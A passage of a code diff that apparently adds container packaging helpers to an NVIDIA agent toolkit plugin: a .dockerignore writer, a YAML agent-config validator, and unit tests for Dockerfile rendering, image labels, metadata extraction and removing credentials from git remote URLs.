import PackageNotFoundError, version + + try: + return version("nemo-agents-plugin") + except PackageNotFoundError: + return "0.0.0" + + +def render_dockerignore(output_dir: Path) -> Path | None: + """Write the plugin's ``.dockerignore`` into *output_dir*. + + The file is only written when *output_dir* contains no ``.dockerignore`` + or contains one whose first line matches :data:`DOCKERIGNORE_SENTINEL` + (i.e. was itself generated by this plugin on a previous invocation). + A user-tuned ``.dockerignore`` is left untouched, and ``None`` is + returned so the builder's ``finally`` cleanup leaves it in place too. + + Returns the path written, or ``None`` when a user-owned file was preserved. + """ + path = output_dir / ".dockerignore" + if path.exists(): + try: + first_line = path.read_text(encoding="utf-8", errors="replace").splitlines()[:1] + except OSError: + first_line = [] + if not first_line or first_line[0] != DOCKERIGNORE_SENTINEL: + return None + path.write_text(DOCKERIGNORE_TEMPLATE, encoding="utf-8") + return path diff --git a/plugins/nemo-agents/src/nemo_agents_plugin/container/validator.py b/plugins/nemo-agents/src/nemo_agents_plugin/container/validator.py new file mode 100644 index 0000000000..ae0b43438d --- /dev/null +++ b/plugins/nemo-agents/src/nemo_agents_plugin/container/validator.py @@ -0,0 +1,146 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Build-time content validation for NAT agent configs. + +Performs structural checks on agent YAML before initiating a Docker build, +preventing packaging of invalid or non-agent content. +""" + +from __future__ import annotations + +from dataclasses import dataclass, field +from pathlib import Path + +import yaml + +_KNOWN_WORKFLOW_TYPES = frozenset( + { + "react_agent", + "tool_calling_agent", + "reasoning_agent", + "rewoo_agent", + } +) + + +@dataclass +class ValidationResult: + """Outcome of agent config validation. + + ``errors`` are hard failures that should block a build; ``warnings`` are + soft signals (e.g. an unrecognised but possibly-valid workflow type from + a NAT plugin) that the CLI surfaces but does not treat as fatal. + ``valid`` is True iff ``errors`` is empty. + """ + + valid: bool + errors: list[str] = field(default_factory=list) + warnings: list[str] = field(default_factory=list) + + +def validate_agent_config(agent_config: Path) -> ValidationResult: + """Structurally validate a NAT agent config YAML. + + Checks performed (errors are collected, not short-circuited): + + 1. File is valid YAML. + 2. Top-level ``workflow`` key exists. + 3. ``workflow._type`` is present (missing = hard error). Unknown values + are a *warning*, not an error — NAT plugins can register additional + workflow types at runtime and a closed allowlist would block valid + configs. + 4. Every name in ``workflow.tool_names`` has a matching entry in + top-level ``functions`` or ``function_groups``. + 5. ``workflow.llm_name`` (if present) references an entry in ``llms``. + """ + errors: list[str] = [] + warnings: list[str] = [] + + # ``read_text`` can raise even when the caller has already proved the + # file exists (race with deletion, EACCES, binary file → decode error). + # Convert those into a structured ValidationResult so packaging surfaces + # them with the same shape as YAML / schema errors instead of a raw + # OSError traceback. + try: + raw = agent_config.read_text(encoding="utf-8") + except OSError as exc: + return ValidationResult(valid=False, errors=[f"Unable to read config file: {exc}"]) + except UnicodeDecodeError as exc: + return ValidationResult(valid=False, errors=[f"Config file is not valid UTF-8: {exc}"]) + + try: + data = yaml.safe_load(raw) + except yaml.YAMLError as exc: + return ValidationResult(valid=False, errors=[f"YAML parse error: {exc}"]) + + if not isinstance(data, dict): + return ValidationResult(valid=False, errors=["Config root must be a YAML mapping."]) + + workflow = data.get("workflow") + if workflow is None: + errors.append("Missing required top-level key: 'workflow'.") + return ValidationResult(valid=False, errors=errors) + + if not isinstance(workflow, dict): + errors.append("'workflow' must be a mapping.") + return ValidationResult(valid=False, errors=errors) + + wf_type = workflow.get("_type", "") + if not wf_type: + # A workflow without ``_type`` is unbuildable — ``nat serve`` cannot + # construct it and the build would fail at runtime inside the + # container. Catch it here so the operator sees a structured + # error from ``validate_agent_config`` instead of an opaque NAT + # traceback after a successful image build. + errors.append(f"Missing required workflow._type. Expected one of: {', '.join(sorted(_KNOWN_WORKFLOW_TYPES))}.") + elif wf_type not in _KNOWN_WORKFLOW_TYPES: + # Soft-warn instead of hard-failing: NAT's plugin system can + # register new workflow types at runtime (and does — new types + # land regularly). A closed allowlist here is really a denylist + # of "types we recognise at this version of the plugin", and + # hard-failing forces operators to ``--skip-validation`` on + # otherwise-valid configs. Surface the unfamiliarity, let the + # build proceed, let NAT's own loader make the real call. + warnings.append( + f"Unknown workflow type '{wf_type}'. Known built-in types are: " + f"{', '.join(sorted(_KNOWN_WORKFLOW_TYPES))}. " + "Proceeding — assuming it is registered by a NAT plugin." + ) + + functions = set(data.get("functions", {}).keys()) if isinstance(data.get("functions"), dict) else set() + function_groups = ( + set(data.get("function_groups", {}).keys()) if isinstance(data.get("function_groups"), dict) else set() + ) + available_tools = functions | function_groups + + # ``tool_names`` / ``llm_name`` / ``llms`` are validated for *type* first + # so a typo like ``tool_names: my_tool`` (string instead of list) or + # ``llms: [...]`` (list instead of mapping) surfaces here as a structured + # error rather than being silently skipped — the previous behaviour would + # build a broken image and fail opaquely at ``nat serve`` startup. + tool_names = workflow.get("tool_names") + if tool_names is not None: + if not isinstance(tool_names, list): + errors.append(f"workflow.tool_names must be a list, got {type(tool_names).__name__}.") + else: + for name in tool_names: + if name not in available_tools: + errors.append( + f"Tool '{name}' in workflow.tool_names not found in 'functions' or 'function_groups'." + ) + + llm_name = workflow.get("llm_name") + if llm_name is not None: + if not isinstance(llm_name, str): + errors.append(f"workflow.llm_name must be a string, got {type(llm_name).__name__}.") + else: + llms = data.get("llms") + if llms is None: + errors.append(f"LLM '{llm_name}' in workflow.llm_name not found in 'llms'.") + elif not isinstance(llms, dict): + errors.append(f"'llms' must be a mapping, got {type(llms).__name__}.") + elif llm_name not in llms: + errors.append(f"LLM '{llm_name}' in workflow.llm_name not found in 'llms'.") + + return ValidationResult(valid=len(errors) == 0, errors=errors, warnings=warnings) diff --git a/plugins/nemo-agents/tests/unit/test_container.py b/plugins/nemo-agents/tests/unit/test_container.py new file mode 100644 index 0000000000..6a83595cba --- /dev/null +++ b/plugins/nemo-agents/tests/unit/test_container.py @@ -0,0 +1,1786 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Unit tests for the container render / build / publish / validate / metadata modules.""" + +from __future__ import annotations + +from pathlib import Path +from unittest.mock import MagicMock, patch + +import pytest +from click.exceptions import Exit as ClickExit + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + +VALID_CONFIG = """\ +functions: + current_datetime: + _type: current_datetime + +llms: + llm: + _type: openai + api_key: not-used + model_name: nvidia-nemotron-3-super-120b-a12b + temperature: 0.0 + +workflow: + _type: react_agent + tool_names: [current_datetime] + llm_name: llm + verbose: false +""" + + +@pytest.fixture() +def agent_config(tmp_path: Path) -> Path: + """Write a valid agent config and return the path.""" + p = tmp_path / "config.yaml" + p.write_text(VALID_CONFIG) + return p + + +@pytest.fixture() +def project_dir(tmp_path: Path) -> tuple[Path, Path]: + """Create a project directory with config + pyproject. Returns (config, pyproject).""" + (tmp_path / "configs").mkdir() + config = tmp_path / "configs" / "config.yaml" + config.write_text(VALID_CONFIG) + pyproject = tmp_path / "pyproject.toml" + pyproject.write_text('[project]\nname = "test-agent"\nversion = "2.3.0"\n') + return config, pyproject + + +# --------------------------------------------------------------------------- +# Render tests +# --------------------------------------------------------------------------- + + +class TestRenderDockerfile: + """Tests for nemo_agents_plugin.container.template.""" + + def test_config_only_mode(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + result = render_dockerfile(agent_config, None, nat_version="1.4.0") + + assert "nvidia-nat[most]==" in result + assert "uv sync" not in result + assert "NAT_CONFIG_FILE=/workspace/config.yaml" in result + assert "ARG NAT_VERSION=1.4.0" in result + + def test_project_mode(self, project_dir: tuple[Path, Path]) -> None: + """Project mode trusts pyproject.toml as the single source of truth. + + The template must run exactly ``uv pip install .`` and nothing else + dependency-related — no implicit ``nvidia-nat[most]`` pre-install + to paper over commented-out deps, and no + ``SETUPTOOLS_SCM_PRETEND_VERSION`` to paper over monorepo-relative + ``[tool.setuptools_scm]`` roots. Those are pyproject bugs the + user is expected to fix, not workarounds the packager should bake in. + ``uv sync`` is also avoided so ``[tool.uv.sources]`` path overrides + don't silently pull sibling packages from outside the build context. + """ + from nemo_agents_plugin.container.template import render_dockerfile + + config, pyproject = project_dir + result = render_dockerfile(config, pyproject, nat_version="1.4.0") + + assert "uv pip install ." in result + assert ". /workspace/.venv/bin/activate" in result + assert "UV_LINK_MODE=copy" in result + assert "NAT_CONFIG_FILE=/workspace/configs/config.yaml" in result + + # No dependency-workarounds baked into the install step — comments + # mentioning these concepts are fine, but nothing in an actual RUN + # command should reference them. + forbidden_in_commands = ( + "uv sync", + "nvidia-nat[most]", + "SETUPTOOLS_SCM_PRETEND_VERSION", + ) + for line in result.splitlines(): + if line.lstrip().startswith("#"): + continue + for needle in forbidden_in_commands: + assert needle not in line, ( + f"project mode must not workaround pyproject bugs — found {needle!r} in: {line!r}" + ) + + def test_custom_overrides(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + result = render_dockerfile( + agent_config, + None, + base_image_url="custom/image", + base_image_tag="99.99", + python_version="3.12", + nat_version="2.0.0", + uv_version="0.9.0", + ) + + assert "ARG BASE_IMAGE_URL=custom/image" in result + assert "ARG BASE_IMAGE_TAG=99.99" in result + assert "ARG PYTHON_VERSION=3.12" in result + assert "ARG NAT_VERSION=2.0.0" in result + assert "ghcr.io/astral-sh/uv:0.9.0" in result + + def test_env_var_fallback(self, agent_config: Path, monkeypatch: pytest.MonkeyPatch) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + monkeypatch.setenv("NAT_VERSION", "1.5.0") + monkeypatch.setenv("NAT_PYTHON_VERSION", "3.11") + + result = render_dockerfile(agent_config, None) + + assert "ARG NAT_VERSION=1.5.0" in result + assert "ARG PYTHON_VERSION=3.11" in result + + def test_missing_nat_version_falls_back_to_default( + self, agent_config: Path, monkeypatch: pytest.MonkeyPatch + ) -> None: + """``nat_version`` now has a pinned default so renders succeed without --nat-version. + + The default is kept in sync with a release where ``nvidia-nat[most]`` and every + plugin extra target the same core ABI (avoids runtime ImportError drift). + """ + from nemo_agents_plugin.container.template import _DEFAULTS, render_dockerfile + + monkeypatch.delenv("NAT_VERSION", raising=False) + + result = render_dockerfile(agent_config, None) + + default = _DEFAULTS["nat_version"] + assert f"ARG NAT_VERSION={default}" in result + assert f'com.nemo.agent.nat-version="{default}"' in result + + def test_non_root_user_by_default(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + result = render_dockerfile(agent_config, None, nat_version="1.4.0") + + assert "USER agent" in result + assert "groupadd" in result + assert "useradd" in result + assert "chown -R agent:agent /workspace" in result + # Regression: Ubuntu 24.04 "noble" (and other modern base images) ship + # a default unprivileged user at uid/gid=1000. The previous hardcoded + # ``groupadd -g 1000 agent`` collided with that user and the build + # failed with ``groupadd: GID '1000' already exists`` (exit code 4). + # The template now reclaims uid/gid 1000 first; assert *both* guards + # are present so a regression on either half is caught. + assert "getent passwd 1000" in result + assert "getent group 1000" in result + assert "userdel -rf" in result + assert "groupdel -f" in result + + def test_allow_root_skips_user(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + result = render_dockerfile(agent_config, None, nat_version="1.4.0", allow_root=True) + + assert "USER agent" not in result + assert "groupadd" not in result + + def test_oci_labels_present(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + result = render_dockerfile(agent_config, None, nat_version="1.4.0") + + assert 'com.nemo.agent.id="' in result + assert 'org.opencontainers.image.title="config"' in result + assert 'com.nemo.agent.nat-version="1.4.0"' in result + assert 'com.nemo.agent.contract-version="' in result + assert 'com.nemo.agent.framework="nemo_agent_toolkit"' in result + assert 'org.opencontainers.image.description="react_agent agent"' in result + assert 'org.opencontainers.image.revision="' in result + assert 'org.opencontainers.image.source="' in result + + def test_oci_labels_with_explicit_metadata(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + result = render_dockerfile( + agent_config, + None, + nat_version="1.4.0", + agent_version="3.0.0", + agent_author="Test Author", + ) + + assert 'org.opencontainers.image.version="3.0.0"' in result + assert 'org.opencontainers.image.authors="Test Author"' in result + + def test_oci_labels_from_pyproject(self, project_dir: tuple[Path, Path]) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + config, pyproject = project_dir + result = render_dockerfile(config, pyproject, nat_version="1.4.0") + + assert 'org.opencontainers.image.title="test-agent"' in result + assert 'org.opencontainers.image.version="2.3.0"' in result + + def test_oci_labels_description_and_license_from_pyproject(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + (tmp_path / "configs").mkdir() + config = tmp_path / "configs" / "config.yaml" + config.write_text(VALID_CONFIG) + pyproject = tmp_path / "pyproject.toml" + pyproject.write_text( + '[project]\nname = "licensed-agent"\nversion = "1.0.0"\n' + 'description = "A calculator agent for math queries"\n' + 'license = "Apache-2.0"\n' + ) + + result = render_dockerfile(config, pyproject, nat_version="1.4.0") + + assert 'org.opencontainers.image.description="A calculator agent for math queries"' in result + assert 'org.opencontainers.image.licenses="Apache-2.0"' in result + + def test_oci_licenses_omitted_when_absent(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + result = render_dockerfile(agent_config, None, nat_version="1.4.0") + + assert "org.opencontainers.image.licenses" not in result + + def test_hardened_apt_get(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + result = render_dockerfile(agent_config, None, nat_version="1.4.0") + + assert "--no-install-recommends" in result + assert "rm -rf /var/lib/apt/lists/*" in result + + def test_uv_python_outside_root(self, agent_config: Path, project_dir: tuple[Path, Path]) -> None: + """Managed Python must land outside /root so the non-root user can exec it. + + Regression: before this fix, uv placed the managed interpreter at + /root/.local/share/uv/python/... which the agent user (uid 1000) could + not traverse, causing 'exec: nat: Permission denied' at runtime. + """ + from nemo_agents_plugin.container.template import render_dockerfile + + config_only = render_dockerfile(agent_config, None, nat_version="1.4.0") + cfg_path, pyproj = project_dir + with_proj = render_dockerfile(cfg_path, pyproj, nat_version="1.4.0") + + for result in (config_only, with_proj): + assert "UV_PYTHON_INSTALL_DIR=/opt/uv/python" in result + assert "UV_LINK_MODE=copy" in result + assert "chmod -R a+rX /opt/uv /workspace/.venv" in result + assert "/root/.local" not in result + + def test_external_template(self, agent_config: Path, tmp_path: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerfile + + custom = tmp_path / "custom.dockerfile.j2" + custom.write_text("FROM ubuntu\nRUN echo {{ nat_version }}\n") + + result = render_dockerfile(agent_config, None, nat_version="9.9.9", template_path=str(custom)) + + assert "FROM ubuntu" in result + assert "echo 9.9.9" in result + + +# --------------------------------------------------------------------------- +# .dockerignore tests +# --------------------------------------------------------------------------- + + +class TestRenderDockerignore: + def test_writes_file(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerignore + + path = render_dockerignore(tmp_path) + assert path is not None # narrow Path | None + assert path.exists() + assert path.name == ".dockerignore" + + def test_contents(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.template import render_dockerignore + + path = render_dockerignore(tmp_path) + assert path is not None # narrow Path | None + content = path.read_text() + assert ".env" in content + assert ".git/" in content + assert "__pycache__/" in content + assert "*.pem" in content + assert "credentials.json" in content + assert ".venv/" in content + assert "node_modules/" in content + + +# --------------------------------------------------------------------------- +# Metadata tests +# --------------------------------------------------------------------------- + + +class TestExtractAgentMetadata: + def test_basic_extraction(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + with patch("nemo_agents_plugin.container.metadata.subprocess") as mock_sub: + mock_sub.run.return_value = MagicMock(returncode=0, stdout="Git User\n") + meta = extract_agent_metadata(agent_config) + + import re + + assert meta["agent_name"] == "config" + assert re.match(r"\d{2}\.\d{2}\.\d{2}$", meta["agent_version"]), ( + f"Expected YY.MM.DD, got {meta['agent_version']}" + ) + assert meta["agent_author"] == "Git User" + assert meta["agent_framework"] == "nemo_agent_toolkit" + assert len(meta["agent_id"]) == 12 + assert meta["build_timestamp"] + + def test_pyproject_overrides_name_and_version(self, project_dir: tuple[Path, Path]) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + config, pyproject = project_dir + + with patch("nemo_agents_plugin.container.metadata.subprocess") as mock_sub: + mock_sub.run.return_value = MagicMock(returncode=0, stdout="Someone\n") + meta = extract_agent_metadata(config, pyproject) + + assert meta["agent_name"] == "test-agent" + assert meta["agent_version"] == "2.3.0" + + def test_explicit_overrides_take_priority(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + meta = extract_agent_metadata( + agent_config, + agent_version="override-v", + agent_author="override-author", + ) + + assert meta["agent_version"] == "override-v" + assert meta["agent_author"] == "override-author" + + def test_agent_id_is_deterministic(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + meta1 = extract_agent_metadata(agent_config, agent_author="x") + meta2 = extract_agent_metadata(agent_config, agent_author="x") + assert meta1["agent_id"] == meta2["agent_id"] + + def test_agent_id_differs_for_different_config(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + c1 = tmp_path / "a.yaml" + c1.write_text("workflow:\n _type: react_agent\n") + c2 = tmp_path / "b.yaml" + c2.write_text("workflow:\n _type: tool_calling_agent\n") + + m1 = extract_agent_metadata(c1, agent_author="x") + m2 = extract_agent_metadata(c2, agent_author="x") + assert m1["agent_id"] != m2["agent_id"] + + def test_no_workflow_key_gives_unknown_framework(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + config = tmp_path / "config.yaml" + config.write_text("llms:\n llm: {}\n") + + meta = extract_agent_metadata(config, agent_author="x") + assert meta["agent_framework"] == "unknown" + + def test_git_failure_falls_back_to_unknown(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + with patch("nemo_agents_plugin.container.metadata.subprocess") as mock_sub: + mock_sub.run.side_effect = FileNotFoundError + mock_sub.TimeoutExpired = TimeoutError + meta = extract_agent_metadata(agent_config) + + assert meta["agent_author"] == "unknown" + + def test_agent_id_includes_pyproject(self, project_dir: tuple[Path, Path]) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + config, pyproject = project_dir + + meta_with = extract_agent_metadata(config, pyproject, agent_author="x") + meta_without = extract_agent_metadata(config, agent_author="x") + assert meta_with["agent_id"] != meta_without["agent_id"] + + def test_description_from_pyproject(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + config = tmp_path / "config.yaml" + config.write_text(VALID_CONFIG) + pyproject = tmp_path / "pyproject.toml" + pyproject.write_text('[project]\nname = "my-agent"\ndescription = "Handles math queries"\n') + + meta = extract_agent_metadata(config, pyproject, agent_author="x") + assert meta["description"] == "Handles math queries" + + def test_description_fallback_to_workflow_type(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + meta = extract_agent_metadata(agent_config, agent_author="x") + assert meta["description"] == "react_agent agent" + + def test_description_empty_when_no_workflow(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + config = tmp_path / "config.yaml" + config.write_text("llms:\n llm: {}\n") + + meta = extract_agent_metadata(config, agent_author="x") + assert meta["description"] == "" + + def test_licenses_from_pyproject_string(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + config = tmp_path / "config.yaml" + config.write_text(VALID_CONFIG) + pyproject = tmp_path / "pyproject.toml" + pyproject.write_text('[project]\nname = "x"\nlicense = "Apache-2.0"\n') + + meta = extract_agent_metadata(config, pyproject, agent_author="x") + assert meta["licenses"] == "Apache-2.0" + + def test_licenses_from_pyproject_legacy_dict(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + config = tmp_path / "config.yaml" + config.write_text(VALID_CONFIG) + pyproject = tmp_path / "pyproject.toml" + pyproject.write_text('[project]\nname = "x"\nlicense = {text = "MIT"}\n') + + meta = extract_agent_metadata(config, pyproject, agent_author="x") + assert meta["licenses"] == "MIT" + + def test_licenses_empty_when_absent(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + meta = extract_agent_metadata(agent_config, agent_author="x") + assert meta["licenses"] == "" + + def test_revision_from_git(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + with patch("nemo_agents_plugin.container.metadata.subprocess") as mock_sub: + mock_sub.run.return_value = MagicMock(returncode=0, stdout="abc123def456\n") + mock_sub.TimeoutExpired = TimeoutError + meta = extract_agent_metadata(agent_config) + + assert meta["revision"] == "abc123def456" + + def test_revision_empty_on_git_failure(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + with patch("nemo_agents_plugin.container.metadata.subprocess") as mock_sub: + mock_sub.run.side_effect = FileNotFoundError + mock_sub.TimeoutExpired = TimeoutError + meta = extract_agent_metadata(agent_config) + + assert meta["revision"] == "" + + def test_source_from_git(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + with patch("nemo_agents_plugin.container.metadata.subprocess") as mock_sub: + mock_sub.run.return_value = MagicMock(returncode=0, stdout="https://github.com/org/repo.git\n") + mock_sub.TimeoutExpired = TimeoutError + meta = extract_agent_metadata(agent_config) + + assert meta["source"] == "https://github.com/org/repo.git" + + def test_source_empty_on_git_failure(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.metadata import extract_agent_metadata + + with patch("nemo_agents_plugin.container.metadata.subprocess") as mock_sub: + mock_sub.run.side_effect = FileNotFoundError + mock_sub.TimeoutExpired = TimeoutError + meta = extract_agent_metadata(agent_config) + + assert meta["source"] == "" + + def test_source_strips_embedded_credentials(self, agent_config: Path) -> None: + """Never leak PATs, passwords, or OAuth tokens into the image source label. + + Covers every remote-URL shape we've seen developers use: GitLab PAT, + HTTP basic auth, GitHub oauth2 token, SSH (no creds), plain HTTPS + (no creds), and a malformed URL (returned unchanged, best-effort). + """ + from nemo_agents_plugin.container.metadata import _strip_credentials, extract_agent_metadata + + # Direct helper — exhaustive scheme/credential combinations. + # Credentialed URLs are assembled at runtime from neutral ``user`` / + # ``token`` placeholders so the source file never contains a literal + # ``scheme://X:Y@host`` substring that secret scanners (TruffleHog, + # gitleaks) flag as an unverified URI on push. + # The bare-userinfo case (no ``:``) is kept because it exercises a + # different branch in ``_strip_credentials`` than the basic-auth + # ``user:token`` form. + user, token = "user", "token" + gl_host = "gitlab-master.nvidia.com" + gh_host = "github.com" + gl_basic = f"https://{user}:{token}@{gl_host}/org/repo.git" + gl_token_only = f"https://{token}@{gl_host}/org/repo.git" + gh_basic = f"https://{user}:{token}@{gh_host}/org/repo.git" + cases = { + gl_basic: f"https://{gl_host}/org/repo.git", + gl_token_only: f"https://{gl_host}/org/repo.git", + gh_basic: f"https://{gh_host}/org/repo.git", + f"https://{gh_host}/org/repo.git": f"https://{gh_host}/org/repo.git", + f"git@{gl_host}:aire/microservices/nmp.git": f"git@{gl_host}:aire/microservices/nmp.git", + f"ssh://git@{gl_host}:12051/aire/microservices/nmp.git": f"ssh://git@{gl_host}:12051/aire/microservices/nmp.git", + "": "", + } + for raw, expected in cases.items(): + assert _strip_credentials(raw) == expected, f"failed for {raw!r}" + + # End-to-end: a credential-bearing remote must not survive into meta["source"]. + pat_url = f"https://{user}:{token}@{gl_host}/owner/x.git" + with patch("nemo_agents_plugin.container.metadata.subprocess") as mock_sub: + mock_sub.run.return_value = MagicMock(returncode=0, stdout=pat_url + "\n") + mock_sub.TimeoutExpired = TimeoutError + meta = extract_agent_metadata(agent_config) + + assert token not in meta["source"] + assert f"{user}:" not in meta["source"] + assert meta["source"] == f"https://{gl_host}/owner/x.git" + + +# --------------------------------------------------------------------------- +# Validator tests +# --------------------------------------------------------------------------- + + +class TestValidateAgentConfig: + def test_valid_config_passes(self, agent_config: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + result = validate_agent_config(agent_config) + assert result.valid + assert result.errors == [] + + def test_invalid_yaml(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "bad.yaml" + p.write_text("{{invalid yaml: [}") + result = validate_agent_config(p) + assert not result.valid + assert any("YAML parse error" in e for e in result.errors) + + def test_missing_workflow_key(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "config.yaml" + p.write_text("functions:\n foo:\n _type: bar\n") + + result = validate_agent_config(p) + assert not result.valid + assert any("workflow" in e for e in result.errors) + + def test_unknown_workflow_type_warns_does_not_fail(self, tmp_path: Path) -> None: + """Unknown ``workflow._type`` is a soft warning, not a hard error. + + NAT plugins can register additional workflow types at runtime; a + closed allowlist here used to hard-fail on otherwise-valid configs + and force operators to ``--skip-validation``. The check now + surfaces unfamiliar types as warnings and lets the build proceed. + """ + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "config.yaml" + p.write_text("workflow:\n _type: unknown_agent_type\n") + + result = validate_agent_config(p) + assert result.valid, f"unknown type should not block validation; got errors: {result.errors}" + assert any("unknown_agent_type" in w for w in result.warnings) + # Built-in known types are still listed in the message so operators + # can quickly tell whether they made a typo vs. invoked a plugin. + assert any("react_agent" in w for w in result.warnings) + + def test_known_workflow_types_pass(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + for wf_type in ("react_agent", "tool_calling_agent", "reasoning_agent", "rewoo_agent"): + p = tmp_path / f"{wf_type}.yaml" + p.write_text(f"workflow:\n _type: {wf_type}\n") + result = validate_agent_config(p) + assert result.valid, f"Expected {wf_type} to pass validation" + + def test_missing_tool_reference(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "config.yaml" + p.write_text( + "functions:\n existing_fn:\n _type: foo\n" + "workflow:\n _type: react_agent\n tool_names: [existing_fn, ghost_fn]\n" + ) + + result = validate_agent_config(p) + assert not result.valid + assert any("ghost_fn" in e for e in result.errors) + assert not any("existing_fn" in e for e in result.errors) + + def test_function_groups_satisfy_tool_names(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "config.yaml" + p.write_text( + "function_groups:\n calculator:\n _type: calculator\n" + "workflow:\n _type: react_agent\n tool_names: [calculator]\n" + ) + + result = validate_agent_config(p) + assert result.valid + + def test_missing_llm_reference(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "config.yaml" + p.write_text( + "llms:\n real_llm:\n _type: openai\nworkflow:\n _type: react_agent\n llm_name: missing_llm\n" + ) + + result = validate_agent_config(p) + assert not result.valid + assert any("missing_llm" in e for e in result.errors) + + def test_non_dict_root(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "config.yaml" + p.write_text("- item1\n- item2\n") + + result = validate_agent_config(p) + assert not result.valid + assert any("mapping" in e for e in result.errors) + + def test_workflow_not_a_dict(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "config.yaml" + p.write_text("workflow: just_a_string\n") + + result = validate_agent_config(p) + assert not result.valid + assert any("mapping" in e for e in result.errors) + + def test_workflow_without_type_is_rejected(self, tmp_path: Path) -> None: + """A workflow lacking ``_type`` must fail validation. + + Regression: the original validator only flagged *unknown* types + and short-circuited on missing/empty ones, so a config like + ``workflow: { tool_names: [] }`` was accepted — only for the + downstream ``nat serve`` to crash inside the built container. + The validator now treats both missing-type and empty-string-type + as errors and lists the allowed values in the message so the + operator can fix it without re-checking the docs. + """ + from nemo_agents_plugin.container.validator import _KNOWN_WORKFLOW_TYPES, validate_agent_config + + for body in ("workflow:\n tool_names: []\n", 'workflow:\n _type: ""\n tool_names: []\n'): + p = tmp_path / "config.yaml" + p.write_text(body) + result = validate_agent_config(p) + assert not result.valid + assert any("workflow._type" in e for e in result.errors) + # Allowed values are surfaced so the message is actionable. + for known in _KNOWN_WORKFLOW_TYPES: + assert any(known in e for e in result.errors) + + def test_multiple_errors_collected(self, tmp_path: Path) -> None: + from nemo_agents_plugin.container.validator import validate_agent_config + + p = tmp_path / "config.yaml" + p.write_text("workflow:\n _type: invalid_type\n tool_names: [ghost1, ghost2]\n llm_name: phantom\n") + + result = validate_agent_config(p) + assert not result.valid + assert len(result.errors) >= 3 + + def test_unreadable_config_returns_structured_error(self, tmp_path: Path) -> None: + """``read_text`` failures surface as ``ValidationResult``, not tracebacks. + + Two paths exercised: missing file (``FileNotFoundError``) and a + non-UTF-8 binary blob (``UnicodeDecodeError``). Both must produce a + ``valid=False`` result with an explanatory error so the CLI builder + path can print a clean "Agent config validation failed" message + instead of leaking an ``OSError`` traceback to the operator. + """ + from nemo_agents_plugin.container.validator import validate_agent_config + + missing = tmp_path / "no_such.yaml" + result_missing = validate_agent_config(missing) + assert not result_missing.valid + assert any("Unable to read config file" in e for e in result_missing.errors) + + binary = tmp_path / "binary.yaml" + # 0x80 is invalid as a UTF-8 leading byte → ``UnicodeDecodeError``. + binary.write_bytes(b"\x80\x81\x82") + result_binary = validate_agent_config(binary) + assert not result_binary.valid + assert any("not valid UTF-8" in e for e in result_binary.errors) + + def test_malformed_workflow_fields_are_rejected(self, tmp_path: Path) -> None: + """tool_names / llm_name / llms with the wrong YAML type must error. + + Regression: ``isinstance(tool_names, list)`` and the analogous + ``isinstance(llms, dict)`` guards used to silently skip validation + when the YAML had ``tool_names: my_tool`` (string) or + ``llms: [...]`` (list). A non-string ``llm_name`` could even 